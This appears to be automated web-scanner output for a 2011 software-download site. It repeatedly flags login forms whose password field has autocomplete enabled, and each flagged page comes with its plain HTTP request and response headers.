HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31814
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-nntp-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87718
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-nzb-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-ozum-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-par-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-podcast-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-posts-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22posts%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22posts%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89038
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-rar-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-reader-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98206
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-reading-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-rss-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30665
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-rss-client-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92234
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-rss-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88508
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-rss-feed-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22rss-feed-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22rss+feed+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-rss-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-search-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:22 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-ssl-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87821
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-synchronization-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90120
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-synchronize-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91266
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-topic-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22topic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22topic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 84529
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-troll-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:52 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28755
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-troll-killer-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
